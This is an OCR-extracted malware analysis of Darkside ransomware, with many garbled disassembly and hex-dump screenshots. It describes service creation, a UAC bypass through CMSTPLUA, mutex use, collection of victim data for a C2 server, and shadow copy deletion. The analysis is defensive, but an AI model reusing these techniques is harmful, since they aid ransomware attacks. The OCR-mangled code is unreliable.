ey wwwrne 1 onen

PUSH -1

PUSH DWORD PTR SS:[EBP+C]
PUSH DWORD PTR S$S: [EEP+8]
CALL 979692cd. 88401000
PUSH EAX

PUSH DWORD PTR 5S: [EBP+C]
FUSH DWORD FTR 5S: [EBF+81
CALL 9796592cd. DB4e1606

ADD DWORD PTR DS:[EBK],ERX
PUSH ERAX

PUSH DWORD PTR §S: [EBP+C]
PUSH DWORD PTR SS: [EBP+81
CALL 979692cd. 00401000
ADD DWORD PTR DS:[EBK+21,ERAX
PUSH ERX
FUSH DWORD PTR §S: [EBP+C]
FUSH DWORD PTR SS: [EBP+81
CALL 9796592cd. Ba4e1000
ADD DWORD PTR DS:[EBX+41,EAX
FUSH ERX
PUSH DWORD PTR $S: (EEP+C)
PUSH DWORD PTR SS: [(EBP+81
CALL 9796%2cd.B@481660
ADD DWORD PTR DS:[EBK+61, EAX
PUSH ERX
PUSH DWORD PTR 5S: [EBP+C]
PUSH DWORD PTR S$S: [EEBP+8]
CALL 979692cd. 00481000
ADD DWORD FTR DS:[EBX+81,EAX
PUSH EAX
FUSH DWORD FTR S$S: [EBF+C]

RD FTR SS: [EBP+8]

PUSH DWORD PTR SS: [EBP+C]
PUSH DWORD PTR SS:[EBP+8]
CALL 97969Zcd. Bo481600

ADD DWORD PTR DS:[EBK+CI,EAX

it £ e E

rras = FFFFFFFF
Araz

Aral
L979692cd, 60401060
FAra2
Arg2
Argl
L 97965920, BE48 106G
FAra3
Arg2
Aral
L 9796920d, B0481060
FAra3
Arg2
Aral
L 979692cd, B0481060

FAra3
Arg2

Aral
L 979692cd. BO461664

FArgd
Ara2

Aral
L9796920d, 6040106

[Ara3
Arg2

Aral
L 979692cd, DB4E1 060
[Aras3

Arg2
Aral

L 9796920d, BO401000

Fig. Unique ID generation code

S
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Address |Hex dump ASCII

BE416204 ) 5E 08 BE 12| SE 0@ 00 Ao -~ A+, ..
BE41E3CC) B8 08 B0 B0 88 B 06 B0) ..., ... .
aEd416304) @8 68 1A 21|66 Do OO GC| ..+~ ooy
BE41E30C) B8 08 G0 80 68 B8 OB 80| ........
BE4163E4| 2E 08 20 B0 62 BE 32 80 ..0.b. 2.
BEd4163EC|) 63 08 &2 @68 33 B8 34 80| c.b.3.4.
BE4163F4 ) 61 OB OO B0 B8 B8 OB B0 a3.......
BE41EIFC]) B8 08 00 B0 688 08 060 B0) .. ......
AE410484) B8 08 B0 B0 B8 08 06 B0) ... ...,
BEd4 10485 B8 08 G0 B0 B8 B8 06 80| ........

Fig. Unique ID (Ob2cb84a)

The value computed above will be used in the following constructions. In the

above data we can see (.0b2cb84a)

* Each encrypted file will have the following name
* Icon file

* Registry key created

* Service name

* Service display name

* Ransom note

* Wallpaper

Darkside Ransomware attempts UAC bypass via CMSTPLUA COM interface.
SHTestTokenMembership API is used to check if the user belongs to which group.
As seen in the figure, ZwOpenProcessToken is used to access the token
associated with the process. So, the malware will relaunch itself with system-level

privileges.

| 00401F8A | &8 20020000 push 220

00401FEBF &4 00 ush o

00401F91 FF15 C0O084200 dword ptr ds:[<&SHTestTokenMembership>]
00401F97 c3

00401F33 55 push ebp

00401F99 8BEC mov ebp,esp

00401F 9B B1EC 40010000 sub esp,140

00401FAL 53 push ebx

00401FAZ 51 push ecx

00401FA3 52 push edx

00401FA4 56 push esi

0D0401FAS 57 push edi

00401FAG 33DB xor ebx,ebx

00401FAS 8045 FC lea eax,dword ptr ss:|[lebp-4]

00401FAB 50 push eax

00401FAC 64 08 push 8

00401FAE 64 FF ush FFFFFFFF

00401FBO FF15 DO0&4200 dword ptr ds:[<&FwOpenProcessToken>]
00401FB6 85C0 test eax,eax

00401FES ~ 0OF85 16010000 jne 979e92cd7Tce28beeaceddes8c752T360.vir. 402004
00401FBE B8DB5 ECFEFFFF lea eax,dword ptr ss:|[[ebp-114!

00401FC4 50 push eax

0D0401FCS 6A 2C push zC

00401FC7 8DB5 COFEFFFF lea eax,dword ptr ss:|[lebp-140]

00401FCD 50 push eax

00401FCE 64 01 push 1

00401FDO FF75 FC ush dword ptr ss:[ebp-4l

00401FD3 FF15 BCOG64200 dword ptr ds:[<&ZwqueryInformationToken=]
00401FD9 85CO0 Test eax,eax

00401FDB ~ OFB5S EAQ00000 jne 979692cd7fc628beeacedd68c752T360. vir. 4020CE
0D0401FEL €745 F4 30000000 mov dword ptr ss:|febp-CJ, 50

00401FES €745 FO 80000000 mov dword ptr ss:febp-10[, 80

00401FEF €745 F8 01000000 mov dword ptr ss:febp-gJ,1

00401FF6 8DBS COFEFFFF lea esi,dword ptr ss:|[febp-1200

D0401FFC 8D45 F& lea eax,dword ptr ss:[ebp-zJ

D0401FFF 50 push eax

nnnnnnnnnnnnnn Tan 22w dwned nee cosBahn1ad

Fig. Unique ID generation code
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LookupAccountSidW API is used to find the name of the account associated with
the SID. As you can see, NT Authority is used for comparison against our domain

name.

£AX  OORIEERD NT AWTMORETY™
EEx TSI Kernelsae THSIFN

EIP  00SDZ00Z  STIENIEATFECIEbEEAREMERETEITIED. vir
DrLas  Dooonzes

L el A D

o sro DFO

e Tre

Lassirror QRROR_SLECEST)

s $000es (i,

€5 0080 B8 cank

2.3 Service Creation:
The malware then uses the ID to check if a service of that name is running or not.

In the first run, the service of that name is not available.

Aa4Ez2CE || . €A @& FUISH &

284823C7 |1 . &A @8 PUSH &

Aa4E25C3 | ) . FE1S F3A74208) CALL DWORD FTR DS: [42@7FE] aduvapi32. OpenSCHanagerhl
aa4E22CF|) . 2945 FC HMOL DWORD PTR S5:[EEBP-41,EAX

d8482202| ) . 2370 FC B CHF DWORD PTR S5S:[EEP-41,8

484682506|1 .~ 74 5@ JE SHORT 9?9692cd Qa4E2922

Aa4E2202| ) . FF2E C2A34160@) FUSH DWORD 05z [41E3C2] Aral = BEEZEL
aa48220E|| « E2 EFEDFFFF | CALL 9?96920d Ba4a1£02 ar9Eazad, E’IB4BIGD2
JE4E22EZ ) . A2 C2834188 | MOU DWORD PTR DS:[416823C21,ERR

AB4E25ES|] . SR @@ FUSH @

AB4E2EEA|L - &R 6@ PUSH @&

J84823EC|) . &R 28 PUSH &

J84625EE|] . 6A 2@ PUSH &

Aa4E2EFA|L . &R B8 PUSH @&

Aa4Ez2F2 ) . FF2E CZB34108 PUSH DWORD PTR D:S: (4183027

J84625F2|1 . oA 28 PUSH &

Aa4E25FAIL . &R @3 FUSH 3

aE4E2EFC|) . &R 1@ FUSH 1@

J84E22FE|) . &8 _FFE18FE8 | FUSH BFB1FF

aa462263 |1 . FEFS 62 FPUSH DWORD PTR S55: [EEP+2]

Aa4E2966|) . FF7S B8 FPUSH DWORD PTR 55: [EBP+2]

A84E25689 | . FEFS FC PUSH DWORD FTR S5S: [EEFP-41

JE48220C ) . FF1S 18824208 CALL DWORD PTR DS [426210] aduapi32. CreateServicell
aa4E2212|1 . 8945 F3 HMOL DWORD PTR S55:[EBP-31,EAX

Aa4Ez215) . 2870 F2 aa CHP _DWORD PTR SS [EEP-21,8

284823131 .~74 80 JE_SHORT 97969Zcd. BR4a23Es

aa4E221E|] . &R @@ FUSH @

aa4E2210|) - &0 6@ FPUSH @&

2848231F |1 . FFFS F3 PUSH DWORD FTR S5S: [EEP-31

dE4E2222|) . FE1S 14824208 CALL DWORD FTR DS: [4:262014] aduapid2. StartServicell
Aa4E2528| ) > 3370 _F3 8@ CHP _DWORD PTR S55:[EBP-31,8

AR4E252C|) .74 B JE_SHORT 97969Zcd. Ba4azasy

ArRA@TQoc [ =y =) =g =g =] oW nunen DT oC. rcec-ol

Fig. Check Service

If it finds that the service is not available, it then goes ahead to create a service of

that name.
004029“: 4 ?4 23 je 979692cd7fce38beeaseddesc752T360. vir. 402998
004029 &8 FFO10FOOD push FO1FF
0040297 D FF75 08 push dword ptr ss:|[[ebp+2] [ebp+8]:L".0b2cbs84a™
00402380 FF75 FC push dword ptr ss:[ebp-4]
FF15 00084200 ca'l'l dword ptr d -:mpenserwce‘w:-]
rrrrrr e i
vuscora EYT pusn =
004028FC 6A 10 push 10
004028FE 68 FFO10F00 push FO1FF
00402303 FF75 08 push dword ptr ss:|Jebp+s] [ebp+8]:L".0b2cb84a”
00402906 FF75 08 push dword ptr ss:|febp+s] ebp+o: L".0b2cbe4a"
00402309 FF75 FC push dword ptr ss:|[ebp-4]
FF15 10084200 call dword ptr ds:[<&CreateSerwvicews]

Fig. Create Service
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Db2cb84a Properties (Local Computer) [=23a]

General | Log On I Recovery I Jependencies|

Service name:
Display name: ObZcbida

Description: =

Path to executable:
"C:\Samples*Darkside’\Darkside'darkside bin*9796520d A6 38beeabe 5d6

Startup type: [Disabled b

Help me configure service startup options.

Service status:  Stopped

| Start | | Stop | | Fause | | Resume

You can specify the start parameters that apply when you start the service
from here.

Start parameters: | |

[ ok [ Cancel ][ ooy |

Fig. Service Created

The malware then terminates itself after creating the service. The executing
service will then repeat the upper procedure and check for the Service name in
ServiceManager. This time it will find the service name and change the execution
flow.

Now it will perform the Mutex creation operation so that only one instance is

running at a time. Following are the screens for it.

BE1ZFEFC| @A2ASS93(] format "Eloba Lk, Snk. Ban. Bak. S0
BE1SFFoG|) cBF4eSCl || <H. 80l cEF4eEC1

BE1ZFFA4| FEIFFESL(] <x.9u’ FESFFERL

BE1SFFBS| EQCFSELD| ) <H.S0l ESCFEELD

BE1ZFFAC| DEEED1&Z (k<M. Sn OBEEO1ES

BE1SFF1G]  GooEEEGE

EEBHC4BB‘\w5tr = BESHC43H

Fig. Mutex Creation

BEZACY 38| UMICODE "Elnbal\GBF465c1FBBF?ESIE?DFEbl?dbEdeGS"
BE1SFEFC| GE3ASS9S| UNICODE "Global . 80i. Susl. 8ue.

BElEa00E || Access = 1BEEEE
BE1SFFFE| BEEEEEEE| ] Inheritable = FALSE
HA13FF74 | BASAC4360|LMuterMame = "Global~EB8f4E65c1fB9Ff P21 e9cfEbl1 9dbebd 165"
BE18FFFS| BE2RC43E[ UMICODE "Global~68f465c1f B9 PedleScf Sb19dbebdl 63"

6546AZEC|| . FFIS SBE64206| CALL DWORD TR 0S: [426656] ntdlL.Rt FreeHean
o4onzFz(| 5 8930 S3634106|CIF _EYTE PTR D5:[4103231,0
oo4aRzFa|| 74 4E JE SHORT S73652cd, BR40R54S
gosonerg| | 1 Es STOCFFRF | BALL arasdzcd. Bedborot
. g5 F4 DUORD_ PTR 553 [EBP-C1, EAX
n . FF7E F4 PUSH DWORD FTR §5: (EBP- £
n . en o
ihrne | 88 BPemteme | PUSH Taomen
n3o0(| - FF1S SeEv4200|CALL OWORD FTR 0S: (4267863 kerne 132, Opentutestl
4snz13|| o E94E FC oW DUORD' PTR S5+ [EBP-41, B
450215 || 8370 FC @@ |CHP_DWORD FTR S5:
qenzin| | - JE_SHORT 9?9692cd Bhaonass
4eR31c|| o FFTs Fo FUSH DWORD PTR S5: [EEF-41
donair || FETS FEoeszon| CALL DUbRD FTR D3: fismenca ntdll.ZuC lose
nazs|| - sEES Hou ESP, EBF
nzzz|| - g0 FOF EBF
n o 5 E
4orzzs || + FFrs Fa FUSH DWORD PTR $5: [EBP-C]
nazc|| - oen o1 FUSH 1
coannzEll | én oo FUSH B
EEERREER] | . RIS g4EP4206| CALL DWORD PR DS:[42A784] kerne |32, Createlutesl)

Fig. Mutex creation




Security Simplified

2.4 Collecting User Data:
After creating the Mutex, the thread generates JSON data of the user which it will

send to the C2 server. Following are the screens.

HESEASFS| VB @0 BA 22 &2 &6F V4 22| L.."bot"™
HESECHEE| ZA VB B0 BH 22 ve 65 72| ii.."uwer
AESEOREZ| 22 3A 22 25|73 22 2C 80| " "Mas", .

HESEBHLB|BH 22 V5 69 64 22 3H 22| fuid™: "
HESEOHLS| 25 72 22 B0 8l 70O 2C 80| €s™. . 2, .
ARSEBAZD| BH 25 73 EE EE EE HE HE| .7s..F.%

(e Vor Ton I pu Tor Touon l ou T BN oo Y on BN oo | o SRR o | | [ Lo T ml il B P PN JUJN DU P UJY IR

LI e e B i 1 1% 01 "l " LI I )

BERS1HZHE| 6E ¥4 42 95| 26 24 92 43| ntCoziEl
BB 1HZEA| FF A 52 45| E1 BEF FA 4F| 2REFER -0
AU 1AZEE| Be B9 97 BZ|EE CZ2 44 D[] uRarOF
BEc1A3CE| &6F HS D2 F4| 5B 4F 37 55| odg rLOFU
BES1A3CE| 5F AT EE S8 D03 FS 295 28| Ariztla

BEs1A=Z0E| 57 CB 47 SR\ 87y 70 &6F HE| &riEd - ok
BB 1HZ0E| HE AHE AE HE| HE HE HE FE| %MMsissiim
BES1HZEA| 68 B0 B8 00| B8 B0 BE 60| .

BE1A3ER| 77 2B 92 =F| 21 SE @8 06| wioril..
AEE1O=2FAlTd A eE3A AR FEF2 1N 1 AAD =2 cmdd =

IR L HD I HD HCO HCO HD CC FC CC rc [ o) EIER EEEE EREE D R BRI L=} ] L L B K B L
FEElAZAE| 6B A 9@ ZA 22 SB 989 19 FEBE abh oA =2 &2 &F 74 22| “co=-=g-+1{ bot

s lAZEE| 2A FBE B0 BA 22 Fe £E FZ 22 ZH 22 25 72 22 20 90| sl L et e,

HES1HZCE| BA 22 ¥5 &2 &4 22 ZA 22 25 Y2 ZZx abh 88 YD 2C 80 JMfuidtrerrHs"mL L 3,
FEs1lAZDE| BA 25 73 B0 63 0D B8 ABE AE AE AE AB BAE HE AE FE| - Hs. . Foskleklalloioy
FEE Ll AZES| BB A A Ga aa 88 898 88 0 ZA 98 Z7 =21 SBE 88 15| oo - - n - m:E"1C. T
Es lAZFE| 22 ZE Z1 ZE 22 ZE 2= 98 AE AE AE AE BE AE AE AE| 2.1. 2. 5. elekalekalaicic
FES L H4EE | BE A 38 B8 38 880 08 B8 45 ZH 98 ABF 20 EBE B8 1E| cae e e e s EzE=®<L.,&
HESlA418| 22 B8 &F B8 Y2 B8 22 88 ZA 08 YE aAa 9D 88 BH 08| M. oas. e aLlaaa .
A lAdzZE| 22 A &C @A &1 B8 E BB &7 @@ ZZ AA SA @ 22 868 . l-a.n.g."a . ",
FEs Ll AdZE| 25 B T3 aa 22 88 ZC 88 80 88 G a8 22 68 FE B8 Hos. e p e e a2,
s lA44E| P2 ABE &5 BA T2 BE cE B0 561 8@ &0 Ba £5 BE 22 HE | S.f.CaNa3.Ma =",
HESlH45E | 2A aa ZZ2 a8 25 068 T3 88 22 08 ZC 8aa 9D 88 BH 08 s e e =a M p e na
HEslH4cE | 22 B8 &2 B8 F B8 T3 88 F4 0A &E 8Aa S1 88 &0 88| M.haoasatan. a1,
A 1A4FE| 65 AE ZZ @A SH B8 22 88 25 @@ V3 A 22 @@ ZC B8 e.tM .t LML HELa=l T, .
mEs lAdsE| ah G @GR aa 22 a8 &4 88 6F 88 &0 aa &1 68 €29 86| ... .dooomaaa L.
FEs L H49E | 6E BE 22 BA ZH BE 22 90 25 B8 72 B3 22 B8 20 B8 | n.M et . Ma e Sa e e
LEslH4AE | B0 aa G aa 22 68 eF 88 F2 B8 S5F 88 74 B8 79 08| ce.aMi0us.a ok,
A1 A4EE| PR AE &5 @A 22 BB SR B8 22 @8 Vyr A3 &2 BE SE B8 | p.esa s Mo we iann.
FES1A4dCE| 64 AE &F @A FFY BB T3 88 22 88 ZC A3 50 B8 B B0 daoawWes=a M e paan ..
mEs lAdDE| 22 A &F BAa T3 @8 EF 80 Fe @ &5 @A 72 §a 73 9. D@0 Boo W o i =
s lH4EE| 69 AA &F BA &6E BE 22 B0 ZH B8 22 B3 25 BE T2 HE| l.0.n.Ta 2.kl S,
HEslA4dFE | 22 aa ZC aa g0 68 B 88 22 0a &F aa 72 88 SF G0 Coooooo BN S
FES1ASAE| 61 AE T2 BAa &3 BE S8 B0 22 B8 A AAa 22 @@ 25 @A) a.rc.c.h.™ e 2 .
Es lAS1E| 72 Aa ZZ Ga ZC 88 60 808 6A 88 ZZ aa &4 98 &2 98| .. ooo o @) [
FEs L AEZE| P2 BE 6B @A T2 EE 22 B8 ZA 8@ 22 Ba3 25 BE T2 b0 s.k.s."a 2 o o = o
HEs L AEZE| 22 AAa ZC 88 G0 88 0H B0 22 B8 &9 83 &4 98 22 d8| ... oMo lo@Ek s
DoclASic| 5A oo 22 00 25 89 73 09 22 90 GD 0B B8R B9 O 88| = PIRIZICICII0N

Fig. JSON Data




Security Simplified

EEEEEEEN] s o5 T=H
Go4nSooE|| . SBEC nou cEF Ese
fa(| - &2c4 ps ESF, —Z2
az(] - 52 POSH ER%
aaf| o 51 POSH ECH
ne(| D g2 FLOSH EGH
ns(l - S5 FUSH ESI
ac(l - S¢ POSH EDT
aif| - Cr45 Ec eesee MOU DWORD PTR SS:[EBFP-141,@
G FLUSH &
cif| D R es POSH @
405265 | 1 FF1S s@ev4zaa| CALL _OWORD PTR DS:C4287651 kernel32.GetlogicalDr iveStr inasl
4m2oEs| | . 2BDE HOU EE,
el | 1 ssoe_ TEST_EBR.EBx
4aE360(| 17 SHORT S79692cd. BR4BEac
doecee|| 1YES 2Bas .an SPSESECd. BE4ESEET
4| > sgesso GonanE| LER Ers, DuoRD BTR DS: [EER#21
B EhEHTEAR
cl] - én &= FUSH =
E(| - FF25 Bopzales| PUSH DWORD FTR DS:L[418385]
04(| - FF15 45médzea| CALL DWORD PTR_DS:C420845] ntdll.Rr AL locateHssp
onf| - =34E E4 HOU DWORD PR SS: [EEE-1CT, ERx
oo(| - 2270 _E4 me CHF OWORD FTR S5: CEE
=1 I SNE BHART EPB.SSiiTEnadEded
q4nz2Ez| | (vES_1Smimens | JHP SFSeozod, ARdESEH1
doesEs|| > EEPSES FUSH DWORD PTR SS:CEBF-1C]
4n52EC| | 1 FF1S e@ev4zaa| CALL _OWORD PTR DS: 4287651 kernel32.GetlogicalDr iveStr inasl
4msoFs| | | 2BDE HOU EBH, EAX
= TEST | EB>< Eiix
Fell - JHE RT_S79692cd. BR4A59FD
F .vE9 34313933 JHp §0E8nn; Baanatar
FO 45 LEA ERX,DWORD FTR
7 B535 SZanrsan) fiod DWARD PTR
. Cra@ B4 zFoeE:t HOU DWORD FPTR
of] - cram BEl [MOY OWORD FTR
4ncai4|| 1 SDE490 ee@eaol LEA EAR,. DWORD
B2l | 1 SDB4CE seosB| LER ER:DUORD
=] - FLISH
apaaz3 | 2 R
2| : BPaE ecnza100| FOSH Buokn ETR 0S:retiasee
&| + EF15 aS@edzom| CALL DWORD PTR_OS:[420845] ntdl LRt LAL locateHean
i[] - 945 Ec oW DWORD PR S5 LEBP-141, EAX
4l| - &370 _EC va PRE BUGRD ETR S5:fEEP-143%5
.~7E &5 JHz SHORT 9736220d. BB4BSF|3F
L~E9 C JMP Srocgzcd. BRIask
5 CIEE B2 SHR EEi, 2
. £950 EZ HOU DWORD FTR $8: [EBF-131, EEX
5[] - 3508 #OR EBM, EBX
. 8B7S E4 HoU EST,OWORD PTR S55: [EBP-1C1
. SEFD EC HOU EOI,DWORD FTR S8: CEBP-141
ol] > & PUSH E:
E(| - EF15 ecevazes|| CACL OUORD PTR DS: C42876C1 kerne |32, GetOr iveTupell
al| - =s=FE &S [cnp Efx, =
anzonz | TLFd JF SANET 9PeAaTed ARAAROAS
B rs o5 PUSH_EE
EE4RSERE - EC MO EEBF.ESF
(=] - 2ZC4 F2 ADD ESP. —
= - 52 PLUSH
4|l - 1 FUOSH ECH
s|l - 52 FUSH ED:
gl - 5 FUSH EST
|l - PUSH EDI
|| - 833D CE@=24188| CHF_DWORD PTR DS:[4183CE1, @
E Fll -~7a b ¥ f-rl LY
1| i EReE ceaza1en| Phsh DHURD PTE-Doid1050E] Chogl s _Beogenos
v = EZ 4598FFFF CALL 97r3s3z2cd. @@48i1Br1 SI2cd. Ba4E1E71
C > CrP4S F2 ggogal MOU DWORD PTR SS:CEBP—2].8
= - C7P4S FC @@a@al MOW DWORD FTR SS: CEEBF—-4]1.8
Al - D45 FC LEA ERAX,. DWORD FTR SS: [EEF—41
o|l - Se FUSH ERR
E|l - €A o= FLUSH
- FF15 zgmsdze@| CALL DWORD FPTR DS: [42@8281 aduapi32. GetlserHansll
- = OuU ER, OWORD PTR SS: LEBF—41
- 208445 @E@E@al LEA EAX, DWORD PTR DS: [EAX#Z2]
- FLUSH ER:
- PUSH
- FFSS Bcaz4i@a| PUSH Dol
- FF15 4d4s@cd4z@a| CALL DWORD FTR ntdll.Rt LAl locateHeap
F|l - 8% HOU DWORD PTR 'SS:LEBF—S
2|| - .g570_Fs eo CHP _DWOR]
T OB shaRT se e s on . Baans
T EhaE T Fe LEA EAX,DN0RD FTR SS: [E
Ell - PUSH EAX
c||l - EE¥s F2 PUSH DWORD FTR SS: [EBP-2]
F - FE15 z2az4zea CFILL DWORD PTR DS:C[4282281 adwapisz. GetUsexrMamsl
=] - 25CAa ER:. ER:
T TS 18 JHZ SHORT BrIAEIZod. 38468391
w2\l - FE?5 _Fs PUSH DWORD PTRSS: LE
ol - sA_B@
ZE|| - EP=2"mcozalen| FUSH DWORD PTR DS:r4lo3Ec]
4| - FE1S Sooedzoa) CALL DUWORD PTR _DS:[dzessol ntdll.Rt LFresHeap
All - Fs oeooom MOY DWORD PTR S5 e
N ES SSSD CE@=24188| CHF_DWoRD CE1, B
= - (5= JE SHORT 9?96920d BB4BSBQF
H - EEE S1328FFFF CFILL FEICI2od. BE4E1EBEFA
F > 2B4%S F2 ERH.DWORD PTR SS5: CEEP—21
= - =‘DF’ El
- BE FOF ESI
- SA FOF ED
. 59 FOF ECH
51 o FOF EBX
A7|| - SBEE ! ESF,EBF
az|l . 50 FOF EBF
aa|LD 3 RETH ___
FUSH
aodaseAc|| - BBEC 0y EBP, ESP
4o580E || - &3C4 Fe N0 ESP, =
4megel|] - 52 FUSH EEX
qozeez|| o 51 PUSH ECK
4os8ES || - 52 FUSH ECX
4megEd || - Se FUSH ESI
qamzees|| o &7 PUSH EDI
4o58Ec|| - Cras Fo oasea) MOU DWORD PTR ss:[EBF-51.0
4osEE0|| o C74E FC @@@Ge MOU DWORD FTR S5: CEEF—
qozece|| o SD4E FC LER EAX,ONOR0 FTR SSz teaptaa
4osecy || - Sa FUSH ERX
qmeecs|| - FFPs Fe FUSH DWORD FTR S5: [EEF-21
qozece|| o FFLE Ag@v4zes| CALL DWORD FTR_DS: [4287A21 kerne |32, Get Comput erHarell
45801 || - L 0 PTR S =
qmagnd || -
qeze0e|| .
4a2B0C (| -
4m2E0E || -
qazees|| . ntdll.Rt LAL locateHean
4a2BEA(] -
4oseED|| -
4e2eFl || ~Fa 29 JE_SHORT 972c92cd. B@482C1C0
40ZEFZ(] -« ED4S FC LEA EARX,.OWORD PTR S5: [EEBP-41
4oeeFs|]| - S FUSH EARX
qm2eF7 || - EEFE F2 PUSH DWORD PTR S5: [EBP-21
409ZEFH|] « FE1S A287F4288| CALL DWORD PTR DS: [4287AS] kerne l32.GetComput erHamell
4oscan|| o ssca TEST EAX,EAR
qoecez|| ~FE_18 JNZ SHORT 979692cd. BE40SC1C
4azCe4 |l . FEPS F2 F'USH Dll.lORD PTR S5: [LEEP-21
4oscoy || L sA_Be
daccos|| @ EPeB meoz4ien| PUSH DWORD PTR DS:[4183861
402CEF || - FE1S Seacdzan CFlLL Dll.lORD PTR_DS: C4286581 ntdll.Rt IFresHean
4oEC1s|| o CP4E FE ooEne RO FTR S5: [EBF-51,8
qoaCic|| > SB4E Fa R Enx DWORD PTR S5: [EEF-21
402C1F || -« BF POFP EDI
dosczal|l o SE FOP ESI
4meCz1|l - SR FOP ED
d4ozczz|] .« B9 POP ECH
4o5cz5 || D B FOP EEX
4 o MO ESF, EEP
4 o POP EBP
+ RETH .
EETE 14 push oword
FF758 FC puth dword
FFTS EQ Push dword
FFTS EB push dword indows 7 Professional
FFTS (L push dword WLKGROL"
FETS F4 push dword RIMAROH- Pt

)L Ciharh”

SAPURLTUSernanel " L RS Pl Thostnane)

Fig. Filling up JSON data
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Security Simplified

This data is collected using the corresponding APIS and stored in a JSON file
which will later be encrypted. Meanwhile, it executes the following SQL query
“SELECT * FROM Win32_ShadowCopy” to delete each of the shadow copy objects

via the Deletelnstance method:

Fig. Delete Shadow copy

The malware then retrieves the list of all the running services using the
EnumServicesStatusExW function. It stops and deletes all the services that were
present in the decrypted config mentioned earlier. It further goes on to Kill the

targeted processes.

The JSON is then encrypted with a custom algorithm.

Ll enp . esp
add esp, OFFFFFFBCH

push edx

push esi

push edi

deas edi, [ebp+uair N4k
mow eax. -DiCBA-

e eax, "HGFE"®
[LLeiry eax, “LKJI"
s e eax,. SOLFLELDN
[LUl=LE] cax, S45352%1h
s e cax, SHESFSASSH

mo -ax GZOISASYh

mo Tax, G6GSGLRG3EN

mow "ax GAGPGEGT I

mo eax, GEGDGCGBR
o eax, FZFivyaacFh

o eax, TOHTSTHTIN

Luleiny eax, FAFRIFETFIN

Fig. Json encryption
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Security Simplified

N e nE— s ML gor e &

HE4SA41a 22 52 HC 24| 0OF abh O1 DO ""Ras™. 5
aad4SsA4d41=2| 72 22 BE D2 =4 A1 EE C7F| =5 'dLi=Elk
Ba45A4=28| 55 25 HA EF | 4E FF =SE SC| Sk 1
Had4SH4=S | 52 CC HC 1H| 2= B4 C1 D2 Yirs*3Sd
Ha45A4=Z0 el3 22 2B CE| 21 29 ZBE 1C| =31
Ba4SAH4=22 | 71 ZE B4 EH| 12 12 =29 S7| gid wF:tes
Bad4sA44a| 0s SF S8 4BE| 1S ¥5 HE BES| m_BEE=-A
Ha4S5H44S |81 FC F=Z 21| 12 DO ZE &4 . "=+ . d
Ba45A45a | 22 832 1E 25| FE B2 &F 24| 2. k0 | o9
Ha4SAH4S2 | 52 F2 YE 57| Se 17 12 15| =27 hIUERE
Ba45A4s8| 72 1C BED HFE | 8= =ZF CS 98a| ot ==w— .
Ha45A452 | B4 A2 B4 ED| 2a D2 EE g? i BT s
E&

Ha45A47a| C1 DE B2 CE| 2C 2R =25 -t ilsE
Ba45A4 TS| &E FF EZ2 85| A8 DE 1D n =SllH|
Had4SH4Sa| sE 21 a0 &5 22 = =2 4E| nams"": ""H
Ha45A4E2 492 42 41 52| 51 42 =20 54| IHARGH-—F
Ha45A4208 ] 42 22 Z2C ahb|aA 22 &4 sF| Cfe . - "fdo
Ba4SA42S | &s0 &1 &2 &E| 22 =ZH =2 S7|lmain™:z "l
Had4S5H4Ha | 4F 52 4B 47| 52 4F 55 54| OREGROUF
Ha4S5A4A2 | 22 2C 80 8H| 22 <F 72 SF| . - - "Mos_
Ba4SAH4ES | T4 T O TE 55| 22 ZA =22 | EwpsE"ti Mw
Ba45H4ES | &2 6E &4 &F | ¥ Y3 =2 ZC| indows"",
Ha45A4CA| Gh BA 22 &F | 732 5EF & 65| - - ffos_ue
aa45A4Cc2| F2 F2 22 sF | sE 22 =23 22| = iontf: "
Ba4SA4Da | 57 &2 SE &4 | aF Yy =2 24| Windows

Bad4sA4DsS | =7 28 58 Y2 eF ase &5 VI ¥ Frotes
Ha45A4ER| 72 &3 &F EE| &1 SC =22 ZC| =ionaltt.
[ [ o = D = I = 1 == = o = = N — 0 = i w &S n

The result of the encryption operation is base64-encoded, as shown below:

HEEAZSEAS | 64 48 35 ¥1 75 &0 V7P &7 dHSqumwag
HEEAZ5EA| B2 §1 5§83 6B BA 51 V2 ¥l REEk S g
HESAZSES | 4F 43 &7 ¥8 6 69 64 45 OCax.iidE
HESAZSCH| 42 31 41 &4 &0 55 41 59 B1AdmUAY
HESAZECE| 6l VYA 4R 329 58 3¥ &F 2B apJ3syot
HESAZSE0DE| 40 4B 2B &8 &7 4H 54 55 ME+hadTLU
HESAZE0E| 56 V3 51 61 6E 62 V7 54 LwilanbwT
HESAZEER| VL V8 V3 ¥4 BE1 BH B2 21 aputIR1
HESAZSES | 47 6F 56 42 VA ¥l 41 482 GollBzgAH
HESAZEFE| 42 B9 V1 27 27 51 VB &C BYa@ Vi L
HESAZEFS| 45 62 46 25 2V 31 &2 &9 EcFE71bi
HARSAZEEA| 232 45 21 44 6B 42 69 Ge 2E1 RN
HEEAZEES| VYA BA 66 35 4E Y5 &E 4B pc fSHunk
HESEAZE1A| 42 6A &6E V8 35 &0 S6 32 BinxEmUz
HESEAZE1S| 48 39 &9 ER BEA@ 51 &6 5A H3iZFPRfP
HESEAZEZA| ¥ B3 57 eC 40 69 47 54 asIHiGT
HESAZeZ2| 57 40 55 VA B5 45 BEH 33 WMUpIEZ 3
HESAZEZH| V2 38 6B 4B 43 4C 43 45 s8kKCLHE
HESAZEZ2 | 4B 68 46 45 52 60 29 4B EhFEAm3IE
HEEAZedE| 6F 60 55 &0 &1 4E 47 72 amlImaMGs
HESAZE42| 21 B2 VY 46 ¥4 51 45 &0 1RwFLEEM
HESAZEEE| 40 36 YA 57 B 6F 47 2B Mez bk oG+
HESAZEE2 | Be 32 2B 46 Y1 51 20 20 Li2+Fgll==
OOSAZEE0| B BB B8 B0 DO B8 8B BB |........
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Security Simplified

Some registry entries are also created meanwhile.

HZZ1FE4LC
Bz221FEED
BZ2Z1FEE
HZ21FESSE
B2Z1FEEC
BZZ1IFEEE
B221FEcd
BZZ1IFELS
BZ21IFEEC

[FE R == ]

Subkew = "SOFTWARE~Microsoft~llindows HT-Currentlersion™
Reserued = B

Class = MUL

Options = REG_DPTIDH_HDH_UDLHTILE

Rooess = KEY_RUERY_UALLE ! KEY_EMUMERATE_SUE_KEYSIKEY_HOTIFY ! Zal8@
pSecurLty = MULL

cHandle = az221FF14

plisposition = B221FFES

ARAEEA B

Fig. Registry Creation

SoEagaEl [ hkey =

H221FEES| BR&1ISEZE2|] Subkew = *Control Panel~International™
B2Z21FEBC| ©0@3@@88(] Reserved = @

BZZ21FECH| GBo@a@@@a(] Class = MULL

B221FEC4| eo00e88a() Opt ions = REG_OPTIOM_MOM_WOLATILE
